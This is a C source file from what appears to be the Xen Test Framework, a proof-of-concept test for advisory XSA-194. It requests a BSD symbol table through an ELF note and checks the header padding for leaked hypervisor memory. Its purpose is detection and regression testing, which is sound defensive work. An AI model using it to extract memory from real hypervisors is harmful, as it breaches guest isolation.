main.c

Go to the documentation of this file.

#include <xtf.h>

const char test_title[] = "XSA-194 PoC";

ELFNOTE(Xen, XEN_ELFNOTE_BSD_SYMTAB, ".asciz \"yes\"");

int memcmpzero(const void *buf, size_t sz)
{
    const char *ptr = buf;
    size_t i;

    for ( i = 0; i < sz; ++i )
        if ( ptr[i] != 0 )
            return ptr[i];

    return 0;
}

void test_main(void)
{
    bool leak_detected = false;
    uint32_t *size = _p(ROUNDUP(_u(_end), sizeof(unsigned long)));
    Elf32_Ehdr *ehdr = _p(size) + 4;

    if ( !(ehdr->e_ident[EI_MAG0] == ELFMAG0 &&
           ehdr->e_ident[EI_MAG1] == ELFMAG1 &&
           ehdr->e_ident[EI_MAG2] == ELFMAG2 &&
           ehdr->e_ident[EI_MAG3] == ELFMAG3) )
        return xtf_error("Error: Elf header not found\n");

    if ( ehdr->e_ident[EI_CLASS] != ELFCLASS32 )
        return xtf_error("Error: Unexpected ELF type %u\n",
                         ehdr->e_ident[EI_CLASS]);

    if ( ehdr->e_shnum != 3 )
        return xtf_error("Error: Expected 3 section headers\n");

    /*
     * libelf has some padding between an Elf32_Ehdr and the start of the
     * section header list it writes.  (Specifically, the padding until the
     * end of a Elf64_Ehdr).
     */
    if ( ehdr->e_ehsize < ehdr->e_shoff )
    {
        if ( memcmpzero(_p(ehdr) + ehdr->e_ehsize,
                        ehdr->e_shoff - ehdr->e_ehsize) )
        {
            leak_detected = true;
            xtf_failure("Fail: Data leaked after EHDR\n");
        }
    }

    if ( !leak_detected )
        xtf_success("Success: No leak detected\n");
}

/*
 * Local variables:
 * mode: C
 * c-file-style: "BSD"
 * c-basic-offset: 4
 * tab-width: 4
 * indent-tabs-mode: nil
 * End:
 */